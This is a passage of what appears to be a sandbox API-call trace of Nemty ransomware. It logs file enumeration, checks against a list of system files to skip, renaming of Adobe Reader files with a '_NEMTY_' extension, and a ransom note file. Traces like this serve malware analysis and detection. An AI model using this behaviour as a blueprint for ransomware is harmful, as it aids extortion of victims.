(HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.681] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr._nemty_kgobjgd_")) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.682] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191be0b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x191be0b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x191be0b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0170.682] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0170.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94368 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.683] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191be0b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x191be0b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x191be0b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0170.683] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0170.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.683] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0170.683] lstrcmpiW (lpString1="authplay.dll", lpString2=".") returned 1 [0170.683] lstrcmpiW (lpString1="authplay.dll", lpString2="..") returned 1 [0170.683] lstrcmpiW (lpString1="authplay.dll", lpString2="...") returned 1 [0170.683] lstrcmpiW (lpString1="authplay.dll", lpString2="windows") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="rsa") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="NTDETECT.COM") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="ntldr") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="MSDOS.SYS") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="IO.SYS") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="boot.ini") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="boot.ini") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="AUTOEXEC.BAT") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="ntuser.dat") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="desktop.ini") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="CONFIG.SYS") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="RECYCLER") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="bootmgr") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="programdata") returned -1 [0170.684] lstrcmpiW (lpString1="authplay.dll", lpString2="appdata") returned 1 [0170.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authplay.dll", lpUsedDefaultChar=0x0) returned 12 [0170.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authplay.dll", lpUsedDefaultChar=0x0) returned 12 [0170.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authplay.dll", lpUsedDefaultChar=0x0) returned 12 [0170.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="authplay.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authplay.dll", lpUsedDefaultChar=0x0) returned 12 [0170.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.684] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941f0 [0170.684] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.684] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AXE8SharedExpat.dll", cAlternateFileName="AXE8SH~1.DLL")) returned 1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2=".") returned 1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="..") returned 1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="...") returned 1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="windows") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="rsa") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="NTDETECT.COM") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="ntldr") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="MSDOS.SYS") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="IO.SYS") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="boot.ini") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="boot.ini") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="AUTOEXEC.BAT") returned 1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="ntuser.dat") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="desktop.ini") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="CONFIG.SYS") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="RECYCLER") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="bootmgr") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="programdata") returned -1 [0170.685] lstrcmpiW (lpString1="AXE8SharedExpat.dll", lpString2="appdata") returned 1 [0170.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXE8SharedExpat.dll", lpUsedDefaultChar=0x0) returned 19 [0170.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0170.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXE8SharedExpat.dll", lpUsedDefaultChar=0x0) returned 19 [0170.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0170.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.685] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXE8SharedExpat.dll", lpUsedDefaultChar=0x0) returned 19 [0170.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0170.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0170.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXE8SharedExpat.dll", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AXE8SharedExpat.dll", lpUsedDefaultChar=0x0) returned 19 [0170.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0170.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0170.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.686] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x91590, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="AXSLE.dll", cAlternateFileName="")) returned 1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2=".") returned 1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="..") returned 1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="...") returned 1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="windows") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="rsa") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="NTDETECT.COM") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="ntldr") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="MSDOS.SYS") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="IO.SYS") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="boot.ini") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="boot.ini") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="AUTOEXEC.BAT") returned 1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="ntuser.dat") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="desktop.ini") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="CONFIG.SYS") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="RECYCLER") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="BOOTSECT.BAK") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="bootmgr") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="programdata") returned -1 [0170.686] lstrcmpiW (lpString1="AXSLE.dll", lpString2="appdata") returned 1 [0170.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.686] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AXSLE.dll", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0170.687] WideCharToMultiByte (in: CodePage=0xfde9, 